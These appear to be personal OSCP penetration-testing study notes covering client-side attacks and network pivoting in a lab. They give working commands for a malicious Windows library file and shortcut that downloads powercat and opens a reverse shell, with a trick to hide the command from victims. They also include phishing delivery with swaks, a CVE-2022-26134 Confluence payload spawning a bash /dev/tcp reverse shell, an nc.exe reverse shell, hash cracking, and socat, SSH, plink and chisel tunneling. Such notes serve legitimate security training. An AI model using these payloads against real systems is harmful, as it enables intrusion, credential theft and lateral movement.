/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/

--host, {which specifies the host to serve from. We'll listen on all interfaces with 0.0.0.0}
--port=80, {listening port}
--auth=anonymous, {disable authentication to our share with}

--root /home/kali/webdav/ {Finally, we'll set the root of the directory of our WebDAV share with }

can confirm the setup by visiting 127.0.0.1

Now once you're in the Windows machine you'd see VS code open it and click on File > New Text File and name it as config.Library-ms {after saving you'd see it becoming an icon on desktop.}

Paste this code in the VS:)))

<?xml version="1.0" encoding="UTF-8"?>


<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://<your ip></url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>

save it and close

Now that we have a working Windows library file, we'll need to create the shortcut file. The goal is to start a reverse shell by putting the .lnk shortcut file on the WebDAV share for the victim to execute.

OSCP Page 74
Now that we have a working Windows library file, we'll need to create the shortcut file. The goal is to start a reverse shell by putting the .lnk shortcut file on the WebDAV share for the victim to execute.

go to desktop > right click > create new > shortcut

paste this below code in location box:

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<urip>:8000/powercat.ps1');powercat -c <urip> -p 4444 -e powershell"

If we expect that our victims are tech-savvy enough to actually check where the
shortcut files are pointing, we can use a handy trick. Since our provided command
looks very suspicious, we could just put a delimiter and benign command behind it
to push the malicious command out of the visible area in the file's property menu. If
a user were to check the shortcut, they would only see the benign command.

save it as auto_configuration and now it's time to take the file back in our machine so that we can put those file into otherVM from our webdav dir we created earlier :

as we already connected with our xfree rdp cmd just copy both files from the desktop and drop it in our share :))) {cmd we used is below:}

xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:[IP] /u:[User] /p:[Password] /drive:SHARE,/srv/tsclient

Now there are 2 ways here:->>

1st way is if you already have access to put the file onto the VM without any restriction then follow these steps:-))

Before doing anything do check this cmd is getting incoming traffics or not:)

/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/

Now on our Kali machine, let's start a Python3 web server on port 8000 where powercat.ps1 is located and start a Netcat listener on port 4444.

smbclient //<target ip>/share -c 'put config.Library-ms'

wait for 1 min and you'd get a shell once victim click on the file;)

2nd way is if you don't have access and while trying the smbclient method you get this error:)

then you may have to enumerate the ip in-depth to maybe get some juicy pdf files with ffuf and exiftool so you may get some emails and passwords or usernames

so for let's suppose we got 2 mail ID's and dave.wizard@supermagicorg.com and test@supermagicorg.com:test along with the password for one user so we can use this info to send the mail over to david:))

sudo swaks -t dave.wizard@supermagicorg.com --from test@supermagicorg.com -ap --attach config.Library-ms --server 192.168.198.199 --body body.txt --header "Subject: Problems" --suppress-data

OSCP Page 75
fill in the details and wait for david to click on the file and before this do start a python3 server and listener which we did earlier and wait for sometime

BOOM you got the shell!!

OSCP Page 76
PORT FORWARD + SSH TUNNELING
Sunday, February 11, 2024 6:18 PM

#PORT-FORWARDING WITH SOCAT

SIMPLE EXPLANATION:->>

Imagine you want to talk to your friend who lives in a house (PGDATABASE01) inside a gated community. You don't have direct access to that community, but you
have another friend (CONFLUENCE01) who lives just outside the gate and can pass messages for you.

You decide to use a walkie-talkie (Socat) to communicate. You tell your outside friend, "If I send a message to your walkie-talkie on channel 2345, please pass it on
to our other friend's walkie-talkie on channel 5432."

Now, whenever you talk into your walkie-talkie to channel 2345, your outside friend receives it and immediately re-sends whatever you said to your inside
friend's walkie-talkie on channel 5432. To your inside friend, it's as if you're directly talking to them on channel 5432, even though you're actually using channel
2345 and having your messages forwarded.

To gain access to CONFLUENCE01, we need to leverage the command execution vulnerability in the Confluence web application to get a reverse shell. After
discovering that the Confluence web application is vulnerable to CVE-2022-26134, we'll find a blog post from Rapid71 that includes a cURL2 command containing
a proof-of-concept3 payload that claims to exploit the vulnerability and return a reverse shell.

curl -v http ://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%


20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%
27%29.start%28%29%22%29%7D/

The verbose (-v) curl request is being made to http ://10.0.0.28:8090, which we assume is the blogpost author's vulnerable Confluence server. After this, the URL
path4 looks more interesting. We observe that a lot of the characters in it are URL encoded,5 so we need to URL decode them to get a clearer sense of what the
payload actually does.

After URL decoding the path, the function of the payload is clearer.

/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >&


/dev/tcp/10.0.0.28/1270 0>&1').start()")}/

We want to open TCP port 2345 on the WAN interface of CONFLUENCE01, then connect to that port from our Kali machine. We want all the packets that we send
to this port to be forwarded by CONFLUENCE01 to TCP port 5432 on PGDATABASE01. Once we set up our port forward, connecting to TCP port 2345 on
CONFLUENCE01 will be exactly like connecting directly to TCP port 5432 on PGDATABASE01.

On CONFLUENCE01, we'll start a verbose (-ddd) Socat process. It will listen on TCP port 2345 (TCP-LISTEN:2345), fork into a new subprocess when it receives a
connection (fork) instead of dying after a single connection, then forward all traffic it receives to TCP port 5432 on PGDATABASE01 (TCP:10.4.50.215:5432).

NOTE:-We'll listen on port 2345 as it's not in the privileged port range (0-1024), which means we don't need elevated privileges to use it.

socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432 {do it on CONFLUENCE01}

The network is now set up like the following diagram:

OSCP Page 77
The network is now set up like the following diagram:

With the Socat process running, we can run psql on our Kali machine, specifying that we want to connect to CONFLUENCE01 (-h 192.168.50.63) on port 2345 (-p
2345) with the postgres user account (-U postgres). When prompted, we will enter the password, and once connected, we can run the \l command to list the
available databases.

psql -h 192.168.50.63 -p 2345 -U postgres {add the ip of machine you set socat on;))}

\l {for listing db's}

Success! We've connected to the PostgreSQL database through our port forward. We'll also find that we have access to the confluence database.

Now, we can continue our enumeration:

select * from cwd_user;

we found some passwords and can crack it with :

hashcat --help | grep 'atlas'

hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt

We might suspect that these passwords are reused in other places throughout the network. After some more enumeration of the internal network, we'll find
PGDATABASE01 is also running an SSH server. Let's try these credentials against this SSH server. With our new port forwarding skill, we can create a port forward
on CONFLUENCE01 that will allow us to SSH directly from our Kali machine to PGDATABASE01.

First, we need to kill the original Socat process listening on TCP port 2345. We'll then create a new port forward with Socat that will listen on TCP port 2222 and
forward to TCP port 22 on PGDATABASE01.

socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22

We'll then use our SSH client to connect to port 2222 on CONFLUENCE01, as though we are connecting directly to port 22 on PGDATABASE01. We can use the
database_admin user, and the password we just cracked using Hashcat.

ssh database_admin@192.168.50.63 -p2222

Success! The database_admin credentials have been reused here. We have managed to connect to the SSH server on PGDATABASE01 using the credentials for
database_admin we found in the PostgreSQL database through the port forward we set up on CONFLUENCE01 with Socat.

NOTE:It should also be noted that Socat is not the only way to create port forwards on *NIX hosts.

OSCP Page 78
#SSH LOCAL PORT FORWARDING:

We got access to pg-db and found it has an another subnet on that which is only accessible by pg-db itself so we need to have an reverse ssh forwarding from pg-
db to confluence and we can do that from confluence itself lol it's tricky but let's understand the cmd below:

First get a shell on confluence and upgrade the tty shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Now let's hop to pg-db as we need to have the ip of the other subnet present on pg and also the open port of that ip to create a reverse ssh forwarding:

ssh database_admin@10.4.50.215

ip addr

ip route

We find that PGDATABASE01 is attached to another subnet, this time in the 172.16.50.0/24 range. We don't find a port scanner installed on PGDATABASE01;
however, we can still do some initial reconnaissance with the tools that are available.

Let's write a Bash for loop to sweep for hosts with an open port 445 on the /24 subnet. We can use Netcat to make the connections, passing the -z flag to check
for a listening port without sending data, -v for verbosity, and -w set to 1 to ensure a lower time-out threshold.

for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done

Most of the connections time out, suggesting that there's nothing there. In contrast, we'll notice that PGDATABASE01 (at 172.16.50.215) actively refused the
connection. We also find that there is a host on the subnet, which has TCP port 445 open: 172.16.50.217!

Let's create the SSH connection from CONFLUENCE01 to PGDATABASE01 using ssh, logging in as database_admin. We'll pass the local port forwarding argument

OSCP Page 79
Let's create the SSH connection from CONFLUENCE01 to PGDATABASE01 using ssh, logging in as database_admin. We'll pass the local port forwarding argument
we just put together to -L, and use -N to prevent a shell from being opened.

ssh -N -L 0.0.0.0:4455:172.16.50.217:445 database_admin@10.4.50.215

ssh -N -L <broadcasting which means open to listen all the traffic from confluence>:<confluence port>:<unknown ip>:<unknown port> database_admin@<pg-
ip>

-0.0.0.0:4455 specifies that the local machine will listen on port 4455 and is accessible from any interface (0.0.0.0 means an y IP address on the local machine can access this port).

Since this reverse shell from CONFLUENCE01 is now occupied with an open SSH session, we need to catch another reverse shell from CONFLUENCE01. We can
do this by listening on another port and modifying our CVE-2022-26134 payload to return a shell to that port.

Once we have another reverse shell from CONFLUENCE01, we can confirm that the ssh process we just started from our other shell is listening on 4455 using
ss.

ss -antlpu

It is - great! Connecting to port 4455 on CONFLUENCE01 will now be just like connecting directly to port 445 on 172.16.50.217. We can review the connection
flow in the following diagram.

We can now interact with port 4455 on CONFLUENCE01 from our Kali machine.

smbclient -p 4455 -L //192.168.50.63/ -U hr_admin --password=Welcome1234

smbclient -p 4455 \\\\ 192.168.50.63\\Scripts -U hr_admin --password=Welcome1234

OSCP Page 80
what if you get an ssh_local_client file???

just chmod 777 it and then > .ssh_local_client -i <confluence_ip> <unknown_host's_port>

#SSH DYNAMIC PORT FORWARDING:

Dynamic Port Forwarding:

SOCKS Proxy: Dynamic port forwarding turns your local machine into a SOCKS proxy server. This means it can dynamically forward traffic to multiple destinations
without needing a direct mapping for each service.

Configuration: You only need to configure it once to set up the proxy. After that, any application configured to use the SOCKS proxy can dynamically route its
traffic through the tunnel. You don't need to specify individual ports or destinations beyond the initial setup.

Use Case: It's often used to securely bypass firewall restrictions or for privacy reasons, as it can encrypt your traffic and route it through an SSH server. It's useful
for cases where you need flexible, secure access to multiple services, especially in environments with restrictive network policies.

From a single listening port on the SSH client, packets can be forwarded to any socket that the SSH server host has access to.

This means we will still be able to access the SMB port on HRSHARES, but we can also access any other port on any other host that PGDATABASE01 has access to,
through this single port. However, in order to take advantage of this flexibility, we need to ensure that whatever software we use can send packets in the correct
SOCKS protocol format.

Let's get back the shell old way and upgrade it :

python3 -c 'import pty; pty.spawn("/bin/bash")'

ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215

ssh -N -D <conf_broadcast>:<anyopen_port> database_admin@<pgdb_ip>

As before, if we wanted to manually confirm that port 9999 is listening on CONFLUENCE01, we would exploit the Confluence vulnerability again to get another
reverse shell (since our existing shell is tied up with the SSH port forward command), then run ss in that shell.

As we did earlier, let's connect to port 445 on HRSHARES. However, this time we will do it through the SOCKS proxy port created by our SSH dynamic port forward
command.

To accomplish this, we'll want to use smbclient again. However, we find that smbclient doesn't natively provide an option to use a SOCKS proxy.

To use smbclient in this situation, we'll leverage Proxychains.4 Proxychains is a tool that can force network traffic from third party tools over HTTP or SOCKS
proxies. As the name suggests, it can also be configured to push traffic over a chain of concurrent proxies.

OSCP Page 81
Let's try Proxychains with smbclient. Proxychains uses a configuration file for almost everything, stored by default at /etc/proxychains4.conf. We need to edit this
file to ensure that Proxychains can locate our SOCKS proxy port, and confirm that it's a SOCKS proxy (rather than any other kind of proxy).

add <confluence_ip>:<socks5 proxy port specified in ssh cmd above > /etc/proxychains4.conf at last line;))

Now we can list shares of HRSHARES via smb through proxychains by the below cmd:

proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234

Let's do an nmap scan for top 20 ports on unknown host we found to enumerate more by appending proxychains before nmap cmd

proxychains nmap -vv -sT --top-ports=20 -Pn <unknown host_ip> --open

-sT : Full scan

By default, Proxychains is configured with very high time-out values. This can make port scanning really slow. Lowering the tcp_read_time_out and
tcp_connect_time_out values in the Proxychains configuration file will force Proxychains to time-out on non-responsive connections more quickly. This can
dramatically speed up port-scanning times.

#SSH REMOTE PORT FORWARDING:

SSH Remote Port Forwarding allows you to take traffic coming to a port on an SSH server (the mailbox outside) and forward it through your SSH connection to a
specific destination within a private network (delivering the letter inside the gated community).

You set this up from inside the network by connecting to an SSH server outside and specifying that incoming connections to a certain port on the server should be
tunneled back through your connection to a specific place inside your network.

However, CONFLUENCE01 does have an SSH client, and we can set up an SSH server on our Kali machine. We can create a port forwarding setup much like the
following diagram:

We can connect from CONFLUENCE01 to our Kali machine over SSH. The listening TCP port 2345 is bound to the loopback interface on our Kali machine. Packets
sent to this port are pushed by the Kali SSH server software through the SSH tunnel back to the SSH client on CONFLUENCE01. They are then forwarded to the
PostgreSQL database port on PGDATABASE01.

sudo systemctl start ssh

We can check that the SSH port is open as we expected using ss.

sudo ss -ntplu

OSCP Page 82
In order to connect back to the Kali SSH server using a username and password you may have to explicity allow password-based authentication by setting
PasswordAuthentication to yes in /etc/ssh/sshd_config.

The SSH remote port forward option is -R, and has a very similar syntax to the local port forward option. It also takes two socket pairs as the argument. The
listening socket is defined first, and the forwarding socket is second.

In this case, we want to listen on port 2345 on our Kali machine (127.0.0.1:2345), and forward all traffic to the PostgreSQL port on PGDATABASE01
(10.4.50.215:5432).

python3 -c 'import pty; pty.spawn("/bin/bash")'

ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4 {listening port is defined first and then we define forwarding port or socket;))}

We can confirm that our remote port forward port is listening by checking if port 2345 is open on our Kali loopback interface.

It is! Our port forward is now set up as we intended, with the SSH port forward command running on CONFLUENCE01.

On our Kali machine, we will use psql, passing 127.0.0.1 as the host (-h), 2345 as the port (-p), and using the database credentials of the postgres user (-U) we
found earlier on CONFLUENCE01.

kali@kali:~$ psql -h 127.0.0.1 -p 2345 -U postgres

#SSH REMOTE DYNAMIC PORT FORWARDING:

OSCP Page 83
sudo systemctl start ssh

ssh -N -R <dynamic listening port> <our-machine_name>@<our_ip>

sudo nano /etc/proxychains4.conf >> turn on passwordauthentication {just in case if it doesn't work as inteneded else no need of this;))}

sudo nano /etc/proxychains4.conf >> add socks5 127.0.0.1:<dynamic listening port> {in the last line}

proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64

or

proxychains -q /usr/bin/nc.traditional -zv 10.4.XXX.64 9000-9100 -w 1

#EXTRA TOOLS:{PLINK}

Administrators may want to avoid leaving OpenSSH on their Windows machines, so we're not guaranteed to discover an OpenSSH client. Even if we find ourselves
on a recent version of Windows, the network administrators may have removed it.

But they still need remote admin tools. Before OpenSSH was so readily available on Windows, most network administrators' tools of choice were PuTTY1 and its
command-line-only counterpart, Plink.2

Let's get familiar with Plink by using it in the lab in a revised scenario. In this scenario, we find that MULTISERVER03 now has a web application on TCP port 80
exposed. All other inbound ports are blocked by a firewall, so RDP is no longer available either. The layout is much like the following diagram:

sudo systemctl start apache2 {start an apache2 server for hosting nc.exe file }

find / -name nc.exe 2>/dev/null {finding nc.exe in binary}

sudo cp /usr/share/windows-resources/binaries/nc.exe /var/www/html/ {copy to apache2 folder where it will be hosted}

powershell wget -Uri http://192.168.118.4/nc.exe -OutFile C:\Windows\Temp\nc.exe {Downloading nc in tmp folder in victim's machine}

nc -nvlp 4446 {start a listener on our machine }

C:\Windows\Temp\nc.exe -e cmd.exe 192.168.118.4 4446 {running it to get a shell on our listener}

find / -name plink.exe 2>/dev/null {find plink.exe binary for windows }

powershell wget -Uri http://192.168.118.4/plink.exe -OutFile C:\Windows\Temp\plink.exe {copy that too in the apache2 folder for hosting it}

sudo nano /etc/ssh/sshd_config {turn on pass_auth and keep it yes also don't forget to start your ssh lol;))}

OSCP Page 84
sudo nano /etc/ssh/sshd_config {turn on pass_auth and keep it yes also don't forget to start your ssh lol;))}

C:\Windows\Temp\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.118.4 {Download it from our machine}

In much the same way that it's not possible to accept the SSH client key cache prompt from a non-TTY shell on Linux, with some very limited shells with Plink on
Windows, we also won't be able to respond to this prompt. An easy solution in that case would be to automate the confirmation with cmd.exe /c echo y, piped
into the plink.exe command. This will emulate the confirmation that we usually type when prompted.

The entire command would be: cmd.exe /c echo y | .\plink.exe -ssh -l kali -pw <YOUR PASSWORD HERE> -R 127.0.0.1:9833:127.0.0.1:3389 192.168.41.7.

ss -ntplu {checking if port got open in our machine by the above cmd or not}

Port 9833 is opened on the loopback interface of our Kali machine.

BOOM!! now just rdp

#DEEP PACKET INSPECTION {CHISEL HTTP TUNNELING}:

Typical use. Examples assume Kali or other attack box is 10.10.14.3, client is running from 10.10.10.10.

Start server listening on 8000:

./chisel server -p 8000 --reverse

From victim:

Command Notes
chisel client 10.10.14.3:8000 R:80:127.0.0.1:80 Listen on Kali 80, forward to localhost port 80 on client
chisel client 10.10.14.3:8000 R:4444:10.10.10.240:80 Listen on Kali 4444, forward to 10.10.10.240 port 80
chisel client 10.10.14.3:8000 R:socks Create SOCKS5 listener on 1080 on Kali, proxy through client

for socks you need to put socks5 127.0.0.1:1080 in proxychains4.conf file at the end.

OSCP Page 85
OSCP Page 86

You might also like